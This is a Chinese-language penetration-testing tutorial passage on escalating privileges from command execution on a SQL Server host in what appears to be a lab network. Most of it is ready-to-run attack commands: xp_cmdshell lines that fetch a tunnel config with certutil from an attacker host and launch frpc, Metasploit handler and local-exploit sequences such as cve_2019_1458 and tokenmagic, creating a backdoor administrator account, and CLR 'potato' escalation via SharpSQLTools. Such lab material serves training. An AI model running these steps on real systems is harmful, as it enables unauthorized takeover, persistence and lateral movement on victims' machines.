经典提权
内容简介
本小节主要讲解了当我们拿到 SQL Server 数据库主机的命令执行权限的时候,一些经典的提权操作。
MSF 提权
查看安装补丁
上文中我们已经拿到了SQL Server 的 meterpreter 权限的 shell,我们进入 shell 模式,使用:
来查看系统补丁数,发现只安装了很少的补丁:
其实这个命令就等同于 meterpreter 下的这个命令:
查询提权 EXP
MSF 可以根据当前系统的补丁情况自动去遍历一些可以用于提权的模块并展示出来:
可以看到检测了不少可以用于提权的模块:
更新 frpc 配置
新的配置
因为使用我们提权会产生新的会话,所以还需要再使用 frpc 将内网的端口转发出来,所以需要再预留一个端口用于后面的会话提权使用,目前的 frpc 的配置如下:
serverAddr = "172.18.100.101"
serverPort = 7000
[[proxies]]
name = "port_forward"
type = "tcp"
localIP = "0.0.0.0"
localPort = 30001
remotePort = 30001
[[proxies]]
name = "shell_system"
type = "tcp"
localIP = "0.0.0.0"
localPort = 6666
remotePort = 6666
重新转发
结束之前的 frpc 进程,然后重新执行 frpc:
# 手动结束进程
exec master..xp_cmdshell 'taskkill /f /im frpc.exe';
# 重新下 frpc 配置
exec master..xp_cmdshell 'certutil -urlcache -split -f http://172.18.100.101:5500/frp/frpc.toml C:\Users\Public\frpc.toml && type C:\Users\Public\frpc.toml';
# 重新上线 frps
exec master..xp_cmdshell 'C:\Users\Public\frpc.exe -c C:\Users\Public\frpc.toml';
重新上线
重新执行 shell.exe 木马:
然后 MSF 重新上线连接:
msf6 > use exploits/multi/handler
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set RHOST 172.18.100.101
msf6 > set LPORT 30001
msf6 > run
EXP 尝试
- cve_2019_1458_wizardopium( 成功)
这里和之前上线的监听差不多,只是要指定一下 session 会话,然后设置一下新的 bind tcp 端口为 6666 端口即可:
msf6 > use exploit/windows/local/cve_2019_1458_wizardopium
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set RHOST 172.18.100.101
msf6 > set LPORT 6666
msf6 > set session 2
msf6 > run
运气很好,直接成功了,嘻嘻!如果你们失败的话,也没关系,说明 MSF 推荐的还是有误差的,那么以此类推,我们结合搜索引擎来找一些更容易成功的 EXP。
- cve_2020_0787_bits_arbitrary_file_move(失败)
msf6 > use exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set RHOST 172.18.100.101
msf6 > set LPORT 6666
msf6 > set session 2
msf6 > run
- cve_2020_1054_drawiconex_lpe (失败)
msf6 > use exploit/windows/local/cve_2020_1054_drawiconex_lpe
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set RHOST 172.18.100.101
msf6 > set LPORT 6666
msf6 > set session 2
msf6 > run
- exploit/windows/local/cve_2021_40449 (失败)
msf6 > use exploit/windows/local/cve_2021_40449
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set RHOST 172.18.100.101
msf6 > set LPORT 6666
msf6 > set session 2
msf6 > run
- ms10_092_schelevator (失败)
msf6 > use exploit/windows/local/ms10_092_schelevator
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set RHOST 172.18.100.101
msf6 > set LPORT 6666
msf6 > set session 2
msf6 > run
- ms16_032_secondary_logon_handle_privesc(失败)
msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set RHOST 172.18.100.101
msf6 > set LPORT 6666
msf6 > set session 2
msf6 > run
- ms16_075_reflection(失败)
msf6 > use exploit/windows/local/ms16_075_reflection
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set RHOST 172.18.100.101
msf6 > set LPORT 6666
msf6 > set session 2
msf6 > run
- ms16_075_reflection_juicy(失败)
msf6 > use exploit/windows/local/ms16_075_reflection_juicy
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set RHOST 172.18.100.101
msf6 > set LPORT 6666
msf6 > set session 2
msf6 > run
- exploit/windows/local/tokenmagic (成功)
msf6 > use exploit/windows/local/tokenmagic
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set RHOST 172.18.100.101
msf6 > set LPORT 6666
msf6 > set session 2
msf6 > run
虽然 MSF 的 EXP 建议有点问题,但是最终我们还是成功使用了 exploit/windows/local/tokenmagic 模块成功提权拿到 system 用户了。
登录 SQL Server 服务器
添加用户到管理员组
接下来我们添加 GG 用户,密码为 P@ssw0rd,且把他添加到管理员组,直接诶使用 system 权限的 MSF 使用原生的 shell 命令来逐个添加:
# 添加 GG 用户,密码为 P@ssw0rd
net user GG P@ssw0rd /add
# GG 添加到管理员组
net localgroup administrators GG /add
# 查看 GG 用户详情
net user GG
可以看到已经成功把 GG 添加到管理员组了:
挂代理连接 RDP
因为通过之前的 OA 里面翻阅的敏感信息,我们知道 172.18.100.254:1080 隧道是直通 192.168.10.0/254 网段的,那么直接使用泛微 OA 的主机挂代理,下图表示只要是 RDP 远程桌面连接均走 172.18.100.254:1080 隧道代理:
我们使用上面创建的 GG 用户来登录 SQL Server 数据库主机看看,成功接管 SQL Server 的主机权限:
SQL Server 提权
从 SQL Server 2005 (9.x) 开始,SQL Server 集成了用于 Microsoft Windows 的 .NET Framework 的公共语言运行时 (CLR) 组件。这就产生了 CLR 组件提权,完整的手工提权需要我们手动去导入 CLR 插件,工作量比较繁琐,我们这里可以使用开源的轮子来简易化提权操作。
工具运行
本文使用的是 Github 开源的 SharpSQLTools 来进行提权等一系列操作,官方的项目地址为:
https://github.com/uknowsec/SharpSQLTools
可上传下载文件,xp_cmdshell与sp_oacreate执行命令回显和clr加载程序集执行相应操作。
工具的用法很简单:
我们只需要填好 SQL Server 的 IP 和端口,然后填好用户名和密码,指定数据库后,手动传入模块和命令即可。
我们在泛微 OA 的服务器上来运行这个工具,
成功执行了 xp_cmdshell 命令:
同理,我们还可以借助 sp_oacreate 模块 来执行命令:
clr 提权
clr 配置准备
首先执行 install_crl 模块来安装一下 clr 组件:
接着开启 clr 组件:
这个项目的文档写的比较简洁明了,大家也可以尝试一下各种模块看看。
clr_badpotato 组件提权(失败)
并没有提权成功,不要慌,我们还有 clr_efspotato 组件:
clr_efspotato 组件提权(成功)
利用 clr_efspotato 组件成功拿到 system 权限!